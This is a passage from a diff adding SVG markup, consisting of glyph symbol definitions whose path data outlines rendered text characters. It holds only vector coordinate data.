+<symbol overflow="visible" id="glyph0-17">
+<path style="stroke:none;" d="M 6.40625 0 L 6.40625 -6.1875 C 6.40625 -7.132812 6.289062 -7.851562 6.0625 -8.34375 C 5.84375 -8.84375 5.398438 -9.09375 4.734375 -9.09375 C 4.265625 -9.09375 3.832031 -8.921875 3.4375 -8.578125 C 3.050781 -8.234375 2.789062 -7.804688 2.65625 -7.296875 L 2.65625 0 L 1.203125 0 L 1.203125 -14.234375 L 2.65625 -14.234375 L 2.65625 -9.203125 L 2.71875 -9.203125 C 2.988281 -9.554688 3.320312 -9.84375 3.71875 -10.0625 C 4.125 -10.289062 4.625 -10.40625 5.21875 -10.40625 C 5.664062 -10.40625 6.054688 -10.34375 6.390625 -10.21875 C 6.722656 -10.101562 7 -9.894531 7.21875 -9.59375 C 7.4375 -9.289062 7.597656 -8.890625 7.703125 -8.390625 C 7.804688 -7.898438 7.859375 -7.289062 7.859375 -6.5625 L 7.859375 0 Z M 6.40625 0 "/>
+</symbol>
+<symbol overflow="visible" id="glyph0-18">
+<path style="stroke:none;" d="M 7.609375 0.46875 C 7.609375 1.78125 7.316406 2.75 6.734375 3.375 C 6.148438 4 5.300781 4.3125 4.1875 4.3125 C 3.507812 4.3125 2.953125 4.253906 2.515625 4.140625 C 2.085938 4.023438 1.738281 3.890625 1.46875 3.734375 L 1.890625 2.484375 C 2.160156 2.597656 2.457031 2.707031 2.78125 2.8125 C 3.101562 2.925781 3.503906 2.984375 3.984375 2.984375 C 4.804688 2.984375 5.367188 2.753906 5.671875 2.296875 C 5.984375 1.835938 6.140625 1.066406 6.140625 -0.015625 L 6.140625 -0.765625 L 6.078125 -0.765625 C 5.859375 -0.460938 5.578125 -0.222656 5.234375 -0.046875 C 4.898438 0.128906 4.46875 0.21875 3.9375 0.21875 C 2.84375 0.21875 2.035156 -0.203125 1.515625 -1.046875 C 1.003906 -1.890625 0.75 -3.222656 0.75 -5.046875 C 0.75 -6.785156 1.082031 -8.101562 1.75 -9 C 2.425781 -9.894531 3.421875 -10.34375 4.734375 -10.34375 C 5.367188 -10.34375 5.914062 -10.28125 6.375 -10.15625 C 6.84375 -10.039062 7.253906 -9.898438 7.609375 -9.734375 Z M 6.140625 -8.703125 C 5.734375 -8.921875 5.210938 -9.03125 4.578125 -9.03125 C 3.878906 -9.03125 3.320312 -8.710938 2.90625 -8.078125 C 2.488281 -7.453125 2.28125 -6.445312 2.28125 -5.0625 C 2.28125 -4.488281 2.3125 -3.960938 2.375 -3.484375 C 2.445312 -3.003906 2.5625 -2.582031 2.71875 -2.21875 C 2.882812 -1.863281 3.09375 -1.585938 3.34375 -1.390625 C 3.59375 -1.191406 3.898438 -1.09375 4.265625 -1.09375 C 4.785156 -1.09375 5.191406 -1.226562 5.484375 -1.5 C 5.785156 -1.769531 6.003906 -2.175781 6.140625 -2.71875 Z M 6.140625 -8.703125 "/>
+</symbol>
+<symbol overflow="visible" id="glyph0-19">
+<path style="stroke:none;" d="M 1.46875 -14.234375 L 2.859375 -14.234375 L 2.34375 -10.3125 L 1.46875 -10.3125 Z M 1.46875 -14.234375 "/>
+</symbol>
+<symbol overflow="visible" id="glyph0-20">
+<path style="stroke:none;" d="M 8.0625 -6.5625 L 2.828125 -6.5625 L 2.828125 0 L 1.296875 0 L 1.296875 -14.234375 L 2.828125 -14.234375 L 2.828125 -7.96875 L 8.0625 -7.96875 L 8.0625 -14.234375 L 9.59375 -14.234375 L 9.59375 0 L 8.0625 0 Z M 8.0625 -6.5625 "/>
+</symbol>
+<symbol overflow="visible" id="glyph0-21">
+<path style="stroke:none;" d="M 8.796875 -12.828125 L 5.3125 -12.828125 L 5.3125 0 L 3.78125 0 L 3.78125 -12.828125 L 0.28125 -12.828125 L 0.28125 -14.234375 L 8.796875 -14.234375 Z M 8.796875 -12.828125 "/>
+</symbol>
+<symbol overflow="visible" id="glyph0-22">
+<path style="stroke:none;" d="M 10.125 -9.34375 L 10.3125 -11.5 L 10.21875 -11.5 L 9.578125 -9.5 L 6.703125 -3.3125 L 6.203125 -3.3125 L 3.1875 -9.5 L 2.5625 -11.5 L 2.484375 -11.5 L 2.765625 -9.34375 L 2.765625 0 L 1.296875 0 L 1.296875 -14.234375 L 2.578125 -14.234375 L 6.015625 -7.234375 L 6.53125 -5.5625 L 6.5625 -5.5625 L 7.046875 -7.25 L 10.3125 -14.234375 L 11.640625 -14.234375 L 11.640625 0 L 10.125 0 Z M 10.125 -9.34375 "/>
+</symbol>
+<symbol overflow="visible" id="glyph0-23">
+<path style="stroke:none;" d="M 8.15625 0 L 1.296875 0 L 1.296875 -14.234375 L 2.828125 -14.234375 L 2.828125 -1.40625 L 8.15625 -1.40625 Z M 8.15625 0 "/>
+</symbol>
+<symbol overflow="visible" id="glyph1-0">
+<path style="stroke:none;" d="M 0.90625 -12.640625 L 12.640625 -12.640625 L 12.640625 0 L 0.90625 0 Z M 10.296875 -11.203125 L 6.78125 -7.28125 L 3.25 -11.203125 L 2.34375 -10.296875 L 5.90625 -6.328125 L 2.34375 -2.34375 L 3.25 -1.4375 L 6.78125 -5.359375 L 10.296875 -1.4375 L 11.203125 -2.34375 L 7.625 -6.328125 L 11.203125 -10.296875 Z M 2.328125 -0.484375 L 2.46875 -0.484375 L 2.46875 -0.703125 L 2.546875 -0.703125 C 2.617188 -0.703125 2.679688 -0.71875 2.734375 -0.75 C 2.796875 -0.78125 2.828125 -0.835938 2.828125 -0.921875 C 2.828125 -1.015625 2.796875 -1.070312 2.734375 -1.09375 C 2.671875 -1.125 2.601562 -1.140625 2.53125 -1.140625 L 2.328125 -1.140625 Z M 2.546875 -1.03125 C 2.640625 -1.03125 2.6875 -1 2.6875 -0.9375 C 2.6875 -0.875 2.671875 -0.835938 2.640625 -0.828125 C 2.609375 -0.828125 2.570312 -0.828125 2.53125 -0.828125 L 2.46875 -0.828125 L 2.46875 -1.03125 Z M 3.40625 -1.140625 L 2.859375 -1.140625 L 2.859375 -1.03125 L 3.078125 -1.03125 L 3.078125 -0.484375 L 3.203125 -0.484375 L 3.203125 -1.03125 L 3.40625 -1.03125 Z M 4.015625 -0.671875 C 4.015625 -0.617188 3.972656 -0.59375 3.890625 -0.59375 C 3.796875 -0.59375 3.738281 -0.601562 3.71875 -0.625 L 3.671875 -0.5 C 3.691406 -0.5 3.71875 -0.492188 3.75 -0.484375 C 3.789062 -0.472656 3.84375 -0.46875 3.90625 -0.46875 C 4.070312 -0.46875 4.15625 -0.539062 4.15625 -0.6875 C 4.15625 -0.789062 4.097656 -0.847656 3.984375 -0.859375 C 3.878906 -0.878906 3.828125 -0.914062 3.828125 -0.96875 C 3.828125 -1.007812 3.863281 -1.03125 3.9375 -1.03125 C 4 -1.03125 4.050781 -1.019531 4.09375 -1 L 4.140625 -1.125 C 4.066406 -1.144531 4 -1.15625 3.9375 -1.15625 C 3.769531 -1.15625 3.6875 -1.085938 3.6875 -0.953125 C 3.6875 -0.890625 3.703125 -0.847656 3.734375 -0.828125 C 3.773438 -0.804688 3.8125 -0.785156 3.84375 -0.765625 C 3.882812 -0.742188 3.921875 -0.726562 3.953125 -0.71875 C 3.992188 -0.707031 4.015625 -0.691406 4.015625 -0.671875 Z M 4.28125 -0.84375 C 4.332031 -0.875 4.382812 -0.890625 4.4375 -0.890625 C 4.5 -0.890625 4.53125 -0.863281 4.53125 -0.8125 L 4.53125 -0.78125 C 4.519531 -0.78125 4.507812 -0.78125 4.5 -0.78125 C 4.488281 -0.789062 4.46875 -0.796875 4.4375 -0.796875 C 4.300781 -0.796875 4.234375 -0.734375 4.234375 -0.609375 C 4.234375 -0.515625 4.28125 -0.46875 4.375 -0.46875 C 4.445312 -0.46875 4.5 -0.5 4.53125 -0.5625 L 4.5625 -0.484375 L 4.671875 -0.484375 C 4.660156 -0.515625 4.65625 -0.554688 4.65625 -0.609375 L 4.65625 -0.8125 C 4.65625 -0.9375 4.597656 -1 4.484375 -1 C 4.429688 -1 4.382812 -0.988281 4.34375 -0.96875 C 4.300781 -0.957031 4.269531 -0.945312 4.25 -0.9375 Z M 4.421875 -0.578125 C 4.378906 -0.578125 4.359375 -0.601562 4.359375 -0.65625 C 4.359375 -0.695312 4.382812 -0.71875 4.4375 -0.71875 C 4.46875 -0.71875 4.488281 -0.710938 4.5 -0.703125 C 4.507812 -0.703125 4.519531 -0.703125 4.53125 -0.703125 L 4.53125 -0.65625 C 4.507812 -0.601562 4.472656 -0.578125 4.421875 -0.578125 Z M 5.28125 -0.484375 L 5.28125 -0.78125 C 5.28125 -0.925781 5.222656 -1 5.109375 -1 C 5.023438 -1 4.96875 -0.96875 4.9375 -0.90625 L 4.890625 -0.96875 L 4.796875 -0.96875 L 4.796875 -0.484375 L 4.9375 -0.484375 L 4.9375 -0.796875 C 4.957031 -0.835938 4.992188 -0.859375 5.046875 -0.859375 C 5.097656 -0.859375 5.125 -0.828125 5.125 -0.765625 L 5.125 -0.484375 Z M 5.359375 -0.5 C 5.410156 -0.476562 5.472656 -0.46875 5.546875 -0.46875 C 5.679688 -0.46875 5.75 -0.519531 5.75 -0.625 C 5.75 -0.6875 5.734375 -0.722656 5.703125 -0.734375 C 5.671875 -0.753906 5.632812 -0.773438 5.59375 -0.796875 C 5.539062 -0.816406 5.515625 -0.832031 5.515625 -0.84375 C 5.515625 -0.875 5.53125 -0.890625 5.5625 -0.890625 C 5.613281 -0.890625 5.660156 -0.875 5.703125 -0.84375 L 5.75 -0.953125 C 5.695312 -0.984375 5.632812 -1 5.5625 -1 C 5.4375 -1 5.375 -0.941406 5.375 -0.828125 C 5.375 -0.765625 5.390625 -0.722656 5.421875 -0.703125 C 5.460938 -0.691406 5.5 -0.679688 5.53125 -0.671875 C 5.59375 -0.671875 5.625 -0.648438 5.625 -0.609375 C 5.625 -0.585938 5.601562 -0.578125 5.5625 -0.578125 C 5.5 -0.578125 5.445312 -0.585938 5.40625 -0.609375 Z M 6.109375 -0.765625 C 6.109375 -0.503906 6.226562 -0.375 6.46875 -0.375 C 6.707031 -0.375 6.828125 -0.503906 6.828125 -0.765625 C 6.828125 -1.003906 6.707031 -1.125 6.46875 -1.125 C 6.375 -1.125 6.289062 -1.085938 6.21875 -1.015625 C 6.144531 -0.953125 6.109375 -0.867188 6.109375 -0.765625 Z M 6.21875 -0.765625 C 6.21875 -0.941406 6.300781 -1.03125 6.46875 -1.03125 C 6.632812 -1.03125 6.71875 -0.941406 6.71875 -0.765625 C 6.71875 -0.578125 6.632812 -0.484375 6.46875 -0.484375 C 6.300781 -0.484375 6.21875 -0.578125 6.21875 -0.765625 Z M 6.578125 -0.6875 C 6.546875 -0.675781 6.519531 -0.671875 6.5 -0.671875 C 6.457031 -0.671875 6.4375 -0.703125 6.4375 -0.765625 C 6.4375 -0.804688 6.457031 -0.828125 6.5 -0.828125 L 6.5625 -0.828125 L 6.59375 -0.90625 C 6.539062 -0.925781 6.5 -0.9375 6.46875 -0.9375 C 6.351562 -0.9375 6.296875 -0.878906 6.296875 -0.765625 C 6.296875 -0.628906 6.351562 -0.5625 6.46875 -0.5625 C 6.53125 -0.5625 6.570312 -0.570312 6.59375 -0.59375 Z M 7.203125 -0.484375 L 7.34375 -0.484375 L 7.34375 -0.703125 L 7.421875 -0.703125 C 7.492188 -0.703125 7.5625 -0.71875 7.625 -0.75 C 7.6875 -0.78125 7.71875 -0.835938 7.71875 -0.921875 C 7.71875 -1.015625 7.679688 -1.070312 7.609375 -1.09375 C 7.546875 -1.125 7.476562 -1.140625 7.40625 -1.140625 L 7.203125 -1.140625 Z M 7.421875 -1.03125 C 7.515625 -1.03125 7.5625 -1 7.5625 -0.9375 C 7.5625 -0.875 7.546875 -0.835938 7.515625 -0.828125 C 7.492188 -0.828125 7.457031 -0.828125 7.40625 -0.828125 L 7.34375 -0.828125 L 7.34375 -1.03125 Z M 7.796875 -0.84375 C 7.847656 -0.875 7.90625 -0.890625 7.96875 -0.890625 C 8.03125 -0.890625 8.0625 -0.863281 8.0625 -0.8125 L 8.0625 -0.78125 C 8.039062 -0.78125 8.023438 -0.78125 8.015625 -0.78125 C 8.003906 -0.789062 7.988281 -0.796875 7.96875 -0.796875 C 7.8125 -0.796875 7.734375 -0.734375 7.734375 -0.609375 C 7.734375 -0.515625 7.785156 -0.46875 7.890625 -0.46875 C 7.960938 -0.46875 8.019531 -0.5 8.0625 -0.5625 L 8.09375 -0.484375 L 8.203125 -0.484375 C 8.191406 -0.515625 8.1875 -0.554688 8.1875 -0.609375 L 8.1875 -0.8125 C 8.1875 -0.9375 8.125 -1 8 -1 C 7.945312 -1 7.898438 -0.988281 7.859375 -0.96875 C 7.816406 -0.957031 7.785156 -0.945312 7.765625 -0.9375 Z M 7.953125 -0.578125 C 7.898438 -0.578125 7.875 -0.601562 7.875 -0.65625 C 7.875 -0.695312 7.90625 -0.71875 7.96875 -0.71875 C 7.988281 -0.71875 8.003906 -0.710938 8.015625 -0.703125 C 8.023438 -0.703125 8.039062 -0.703125 8.0625 -0.703125 L 8.0625 -0.65625 C 8.03125 -0.601562 7.992188 -0.578125 7.953125 -0.578125 Z M 8.640625 -0.96875 C 8.617188 -0.988281 8.59375 -1 8.5625 -1 C 8.507812 -1 8.472656 -0.96875 8.453125 -0.90625 L 8.4375 -0.90625 L 8.421875 -0.96875 L 8.3125 -0.96875 L 8.3125 -0.484375 L 8.453125 -0.484375 L 8.453125 -0.796875 C 8.453125 -0.835938 8.488281 -0.859375 8.5625 -0.859375 L 8.578125 -0.859375 C 8.585938 -0.859375 8.59375 -0.851562 8.59375 -0.84375 C 8.59375 -0.84375 8.597656 -0.84375 8.609375 -0.84375 Z M 8.71875 -0.84375 C 8.789062 -0.875 8.847656 -0.890625 8.890625 -0.890625 C 8.953125 -0.890625 8.984375 -0.863281 8.984375 -0.8125 L 8.984375 -0.78125 C 8.960938 -0.78125 8.945312 -0.78125 8.9375 -0.78125 C 8.925781 -0.789062 8.910156 -0.796875 8.890625 -0.796875 C 8.734375 -0.796875 8.65625 -0.734375 8.65625 -0.609375 C 8.65625 -0.515625 8.707031 -0.46875 8.8125 -0.46875 C 8.894531 -0.46875 8.953125 -0.5 8.984375 -0.5625 L 9 -0.5625 L 9.015625 -0.484375 L 9.125 -0.484375 C 9.113281 -0.515625 9.109375 -0.554688 9.109375 -0.609375 L 9.109375 -0.8125 C 9.109375 -0.9375 9.046875 -1 8.921875 -1 C 8.867188 -1 8.828125 -0.988281 8.796875 -0.96875 C 8.765625 -0.957031 8.734375 -0.945312 8.703125 -0.9375 Z M 8.875 -0.578125 C 8.820312 -0.578125 8.796875 -0.601562 8.796875 -0.65625 C 8.796875 -0.695312 8.828125 -0.71875 8.890625 -0.71875 C 8.910156 -0.71875 8.925781 -0.710938 8.9375 -0.703125 C 8.945312 -0.703125 8.960938 -0.703125 8.984375 -0.703125 L 8.984375 -0.65625 C 8.953125 -0.601562 8.914062 -0.578125 8.875 -0.578125 Z M 9.625 -1.140625 L 9.0625 -1.140625 L 9.0625 -1.03125 L 9.265625 -1.03125 L 9.265625 -0.484375 L 9.40625 -0.484375 L 9.40625 -1.03125 L 9.625 -1.03125 Z M 9.765625 -0.96875 L 9.625 -0.96875 L 9.84375 -0.484375 C 9.832031 -0.421875 9.800781 -0.390625 9.75 -0.390625 L 9.734375 -0.421875 L 9.703125 -0.3125 C 9.722656 -0.289062 9.753906 -0.28125 9.796875 -0.28125 C 9.847656 -0.28125 9.90625 -0.363281 9.96875 -0.53125 L 10.15625 -0.96875 L 10 -0.96875 L 9.921875 -0.703125 L 9.921875 -0.609375 L 9.890625 -0.609375 L 9.875 -0.703125 Z M 10.203125 -0.28125 L 10.34375 -0.28125 L 10.34375 -0.5 C 10.363281 -0.476562 10.394531 -0.46875 10.4375 -0.46875 C 10.601562 -0.46875 10.6875 -0.554688 10.6875 -0.734375 C 10.6875 -0.910156 10.625 -1 10.5 -1 C 10.4375 -1 10.378906 -0.972656 10.328125 -0.921875 L 10.3125 -0.921875 L 10.296875 -0.96875 L 10.203125 -0.96875 Z M 10.453125 -0.890625 C 10.515625 -0.890625 10.546875 -0.835938 10.546875 -0.734375 C 10.546875 -0.628906 10.503906 -0.578125 10.421875 -0.578125 C 10.398438 -0.578125 10.375 -0.585938 10.34375 -0.609375 L 10.34375 -0.796875 C 10.34375 -0.859375 10.378906 -0.890625 10.453125 -0.890625 Z M 11.15625 -0.609375 C 11.132812 -0.585938 11.09375 -0.578125 11.03125 -0.578125 C 10.945312 -0.578125 10.898438 -0.613281 10.890625 -0.6875 L 11.234375 -0.6875 L 11.234375 -0.796875 C 11.234375 -0.867188 11.210938 -0.921875 11.171875 -0.953125 C 11.128906 -0.984375 11.078125 -1 11.015625 -1 C 10.847656 -1 10.765625 -0.90625 10.765625 -0.71875 C 10.765625 -0.550781 10.847656 -0.46875 11.015625 -0.46875 C 11.054688 -0.46875 11.09375 -0.472656 11.125 -0.484375 C 11.164062 -0.492188 11.195312 -0.507812 11.21875 -0.53125 Z M 11.015625 -0.890625 C 11.085938 -0.890625 11.117188 -0.851562 11.109375 -0.78125 L 10.90625 -0.78125 C 10.90625 -0.851562 10.941406 -0.890625 11.015625 -0.890625 Z M 11.015625 -0.890625 "/>
+</symbol>
+<symbol overflow="visible" id="glyph1-1">
+<path style="stroke:none;" d="M 7.171875 -5.828125 L 2.515625 -5.828125 L 2.515625 0 L 1.15625 0 L 1.15625 -12.640625 L 2.515625 -12.640625 L 2.515625 -7.078125 L 7.171875 -7.078125 L 7.171875 -12.640625 L 8.53125 -12.640625 L 8.53125 0 L 7.171875 0 Z M 7.171875 -5.828125 "/>
+</symbol>
+<symbol overflow="visible" id="glyph1-2">
+<path style="stroke:none;" d="M 6.46875 -0.609375 C 6.175781 -0.347656 5.804688 -0.144531 5.359375 0 C 4.921875 0.144531 4.453125 0.21875 3.953125 0.21875 C 3.390625 0.21875 2.898438 0.109375 2.484375 -0.109375 C 2.066406 -0.335938 1.722656 -0.660156 1.453125 -1.078125 C 1.179688 -1.492188 0.984375 -1.988281 0.859375 -2.5625 C 0.734375 -3.144531 0.671875 -3.796875 0.671875 -4.515625 C 0.671875 -6.054688 0.953125 -7.226562 1.515625 -8.03125 C 2.078125 -8.84375 2.878906 -9.25 3.921875 -9.25 C 4.253906 -9.25 4.585938 -9.207031 4.921875 -9.125 C 5.253906 -9.039062 5.550781 -8.867188 5.8125 -8.609375 C 6.082031 -8.359375 6.296875 -8.003906 6.453125 -7.546875 C 6.617188 -7.085938 6.703125 -6.492188 6.703125 -5.765625 C 6.703125 -5.554688 6.691406 -5.332031 6.671875 -5.09375 C 6.648438 -4.863281 6.628906 -4.625 6.609375 -4.375 L 2.015625 -4.375 C 2.015625 -3.851562 2.054688 -3.378906 2.140625 -2.953125 C 2.234375 -2.535156 2.367188 -2.175781 2.546875 -1.875 C 2.722656 -1.582031 2.953125 -1.351562 3.234375 -1.1875 C 3.523438 -1.03125 3.878906 -0.953125 4.296875 -0.953125 C 4.617188 -0.953125 4.941406 -1.007812 5.265625 -1.125 C 5.585938 -1.25 5.832031 -1.398438 6 -1.578125 Z M 5.453125 -5.453125 C 5.472656 -6.359375 5.34375 -7.019531 5.0625 -7.4375 C 4.789062 -7.863281 4.414062 -8.078125 3.9375 -8.078125 C 3.382812 -8.078125 2.941406 -7.863281 2.609375 -7.4375 C 2.285156 -7.019531 2.097656 -6.359375 2.046875 -5.453125 Z M 5.453125 -5.453125 "/>
+</symbol>
+<symbol overflow="visible" id="glyph1-3">
+<path style="stroke:none;" d="M 3.3125 -3.203125 L 3.6875 -1.4375 L 3.78125 -1.4375 L 4.046875 -3.203125 L 5.421875 -9.03125 L 6.734375 -9.03125 L 4.59375 -0.921875 C 4.414062 -0.273438 4.242188 0.328125 4.078125 0.890625 C 3.910156 1.460938 3.726562 1.957031 3.53125 2.375 C 3.332031 2.789062 3.109375 3.113281 2.859375 3.34375 C 2.617188 3.582031 2.328125 3.703125 1.984375 3.703125 C 1.648438 3.703125 1.359375 3.648438 1.109375 3.546875 L 1.3125 2.3125 C 1.488281 2.375 1.660156 2.382812 1.828125 2.34375 C 1.992188 2.3125 2.148438 2.207031 2.296875 2.03125 C 2.453125 1.863281 2.59375 1.613281 2.71875 1.28125 C 2.84375 0.957031 2.953125 0.53125 3.046875 0 L 0.125 -9.03125 L 1.609375 -9.03125 Z M 3.3125 -3.203125 "/>
+</symbol>
+<symbol overflow="visible" id="glyph1-4">
+<path style="stroke:none;" d="M 1.828125 -12.640625 L 3.171875 -12.640625 L 3.171875 -6.375 L 2.90625 -3.203125 L 2.09375 -3.203125 L 1.828125 -6.375 Z M 1.59375 -0.8125 C 1.59375 -1.144531 1.671875 -1.394531 1.828125 -1.5625 C 1.992188 -1.738281 2.21875 -1.828125 2.5 -1.828125 C 2.769531 -1.828125 2.984375 -1.738281 3.140625 -1.5625 C 3.304688 -1.394531 3.390625 -1.144531 3.390625 -0.8125 C 3.390625 -0.457031 3.304688 -0.195312 3.140625 -0.03125 C 2.984375 0.132812 2.769531 0.21875 2.5 0.21875 C 2.21875 0.21875 1.992188 0.132812 1.828125 -0.03125 C 1.671875 -0.195312 1.59375 -0.457031 1.59375 -0.8125 Z M 1.59375 -0.8125 "/>
+</symbol>
+<symbol overflow="visible" id="glyph1-5">
+<path style="stroke:none;" d=""/>
+</symbol>
+<symbol overflow="visible" id="glyph1-6">
+<path style="stroke:none;" d="M 7.765625 -0.484375 C 7.460938 -0.234375 7.082031 -0.0546875 6.625 0.046875 C 6.164062 0.160156 5.6875 0.21875 5.1875 0.21875 C 4.550781 0.21875 3.957031 0.0976562 3.40625 -0.140625 C 2.863281 -0.378906 2.394531 -0.757812 2 -1.28125 C 1.613281 -1.8125 1.3125 -2.488281 1.09375 -3.3125 C 0.882812 -4.144531 0.78125 -5.148438 0.78125 -6.328125 C 0.78125 -7.523438 0.898438 -8.539062 1.140625 -9.375 C 1.390625 -10.207031 1.71875 -10.878906 2.125 -11.390625 C 2.539062 -11.910156 3.015625 -12.285156 3.546875 -12.515625 C 4.085938 -12.742188 4.640625 -12.859375 5.203125 -12.859375 C 5.773438 -12.859375 6.25 -12.816406 6.625 -12.734375 C 7.007812 -12.648438 7.34375 -12.546875 7.625 -12.421875 L 7.296875 -11.203125 C 7.054688 -11.328125 6.769531 -11.425781 6.4375 -11.5 C 6.113281 -11.570312 5.742188 -11.609375 5.328125 -11.609375 C 4.910156 -11.609375 4.515625 -11.515625 4.140625 -11.328125 C 3.765625 -11.140625 3.429688 -10.835938 3.140625 -10.421875 C 2.847656 -10.015625 2.617188 -9.472656 2.453125 -8.796875 C 2.285156 -8.117188 2.203125 -7.296875 2.203125 -6.328125 C 2.203125 -4.566406 2.503906 -3.242188 3.109375 -2.359375 C 3.710938 -1.472656 4.515625 -1.03125 5.515625 -1.03125 C 5.921875 -1.03125 6.285156 -1.085938 6.609375 -1.203125 C 6.929688 -1.316406 7.207031 -1.453125 7.4375 -1.609375 Z M 7.765625 -0.484375 "/>
+</symbol>
+<symbol overflow="visible" id="glyph1-7">
+<path style="stroke:none;" d="M 0.96875 -8.484375 C 1.320312 -8.703125 1.75 -8.867188 2.25 -8.984375 C 2.75 -9.109375 3.273438 -9.171875 3.828125 -9.171875 C 4.335938 -9.171875 4.742188 -9.09375 5.046875 -8.9375 C 5.359375 -8.789062 5.597656 -8.585938 5.765625 -8.328125 C 5.941406 -8.078125 6.054688 -7.785156 6.109375 -7.453125 C 6.171875 -7.117188 6.203125 -6.769531 6.203125 -6.40625 C 6.203125 -5.6875 6.1875 -4.984375 6.15625 -4.296875 C 6.125 -3.609375 6.109375 -2.957031 6.109375 -2.34375 C 6.109375 -1.882812 6.125 -1.457031 6.15625 -1.0625 C 6.1875 -0.675781 6.242188 -0.3125 6.328125 0.03125 L 5.328125 0.03125 L 5.015625 -1.03125 L 4.953125 -1.03125 C 4.765625 -0.71875 4.492188 -0.445312 4.140625 -0.21875 C 3.796875 0.0078125 3.332031 0.125 2.75 0.125 C 2.09375 0.125 1.554688 -0.0976562 1.140625 -0.546875 C 0.734375 -1.003906 0.53125 -1.628906 0.53125 -2.421875 C 0.53125 -2.941406 0.613281 -3.375 0.78125 -3.71875 C 0.957031 -4.070312 1.203125 -4.351562 1.515625 -4.5625 C 1.835938 -4.78125 2.21875 -4.9375 2.65625 -5.03125 C 3.101562 -5.125 3.597656 -5.171875 4.140625 -5.171875 C 4.253906 -5.171875 4.367188 -5.171875 4.484375 -5.171875 C 4.609375 -5.171875 4.738281 -5.160156 4.875 -5.140625 C 4.914062 -5.515625 4.9375 -5.847656 4.9375 -6.140625 C 4.9375 -6.828125 4.832031 -7.304688 4.625 -7.578125 C 4.414062 -7.859375 4.039062 -8 3.5 -8 C 3.164062 -8 2.800781 -7.945312 2.40625 -7.84375 C 2.007812 -7.738281 1.675781 -7.609375 1.40625 -7.453125 Z M 4.890625 -4.125 C 4.773438 -4.132812 4.65625 -4.140625 4.53125 -4.140625 C 4.414062 -4.148438 4.296875 -4.15625 4.171875 -4.15625 C 3.878906 -4.15625 3.59375 -4.128906 3.3125 -4.078125 C 3.039062 -4.035156 2.796875 -3.953125 2.578125 -3.828125 C 2.367188 -3.710938 2.195312 -3.550781 2.0625 -3.34375 C 1.9375 -3.132812 1.875 -2.875 1.875 -2.5625 C 1.875 -2.082031 1.988281 -1.707031 2.21875 -1.4375 C 2.457031 -1.175781 2.765625 -1.046875 3.140625 -1.046875 C 3.648438 -1.046875 4.039062 -1.164062 4.3125 -1.40625 C 4.59375 -1.644531 4.785156 -1.910156 4.890625 -2.203125 Z M 4.890625 -4.125 "/>
+</symbol>
+<symbol overflow="visible" id="glyph1-8">
+<path style="stroke:none;" d="M 5.6875 0 L 5.6875 -5.515625 C 5.6875 -6.410156 5.582031 -7.0625 5.375 -7.46875 C 5.164062 -7.875 4.789062 -8.078125 4.25 -8.078125 C 3.757812 -8.078125 3.359375 -7.929688 3.046875 -7.640625 C 2.734375 -7.347656 2.503906 -6.992188 2.359375 -6.578125 L 2.359375 0 L 1.0625 0 L 1.0625 -9.03125 L 2 -9.03125 L 2.234375 -8.078125 L 2.296875 -8.078125 C 2.523438 -8.398438 2.832031 -8.675781 3.21875 -8.90625 C 3.613281 -9.132812 4.082031 -9.25 4.625 -9.25 C 5.007812 -9.25 5.347656 -9.191406 5.640625 -9.078125 C 5.941406 -8.972656 6.191406 -8.789062 6.390625 -8.53125 C 6.585938 -8.269531 6.734375 -7.921875 6.828125 -7.484375 C 6.929688 -7.054688 6.984375 -6.515625 6.984375 -5.859375 L 6.984375 0 Z M 5.6875 0 "/>
+</symbol>
+<symbol overflow="visible" id="glyph1-9">
+<path style="stroke:none;" d="M 1.421875 -12.640625 L 2.78125 -12.640625 L 2.78125 0 L 1.421875 0 Z M 1.421875 -12.640625 "/>
+</symbol>
+<symbol overflow="visible" id="glyph1-10">
+<path style="stroke:none;" d="M 0.921875 -1.484375 C 1.160156 -1.335938 1.445312 -1.210938 1.78125 -1.109375 C 2.113281 -1.003906 2.453125 -0.953125 2.796875 -0.953125 C 3.191406 -0.953125 3.53125 -1.050781 3.8125 -1.25 C 4.09375 -1.445312 4.234375 -1.769531 4.234375 -2.21875 C 4.234375 -2.59375 4.144531 -2.898438 3.96875 -3.140625 C 3.800781 -3.378906 3.585938 -3.59375 3.328125 -3.78125 C 3.066406 -3.976562 2.785156 -4.15625 2.484375 -4.3125 C 2.191406 -4.476562 1.914062 -4.675781 1.65625 -4.90625 C 1.394531 -5.132812 1.179688 -5.40625 1.015625 -5.71875 C 0.847656 -6.039062 0.765625 -6.441406 0.765625 -6.921875 C 0.765625 -7.691406 0.96875 -8.269531 1.375 -8.65625 C 1.789062 -9.050781 2.378906 -9.25 3.140625 -9.25 C 3.640625 -9.25 4.066406 -9.203125 4.421875 -9.109375 C 4.785156 -9.023438 5.097656 -8.90625 5.359375 -8.75 L 5.015625 -7.65625 C 4.785156 -7.78125 4.519531 -7.878906 4.21875 -7.953125 C 3.925781 -8.035156 3.625 -8.078125 3.3125 -8.078125 C 2.875 -8.078125 2.554688 -7.984375 2.359375 -7.796875 C 2.160156 -7.617188 2.0625 -7.335938 2.0625 -6.953125 C 2.0625 -6.648438 2.144531 -6.394531 2.3125 -6.1875 C 2.476562 -5.976562 2.691406 -5.785156 2.953125 -5.609375 C 3.210938 -5.429688 3.492188 -5.25 3.796875 -5.0625 C 4.097656 -4.882812 4.375 -4.671875 4.625 -4.421875 C 4.882812 -4.179688 5.097656 -3.890625 5.265625 -3.546875 C 5.441406 -3.203125 5.53125 -2.773438 5.53125 -2.265625 C 5.53125 -1.921875 5.472656 -1.597656 5.359375 -1.296875 C 5.253906 -0.992188 5.085938 -0.734375 4.859375 -0.515625 C 4.640625 -0.296875 4.363281 -0.117188 4.03125 0.015625 C 3.707031 0.148438 3.320312 0.21875 2.875 0.21875 C 2.34375 0.21875 1.882812 0.164062 1.5 0.0625 C 1.113281 -0.0390625 0.789062 -0.175781 0.53125 -0.34375 Z M 0.921875 -1.484375 "/>
+</symbol>
+<symbol overflow="visible" id="glyph1-11">
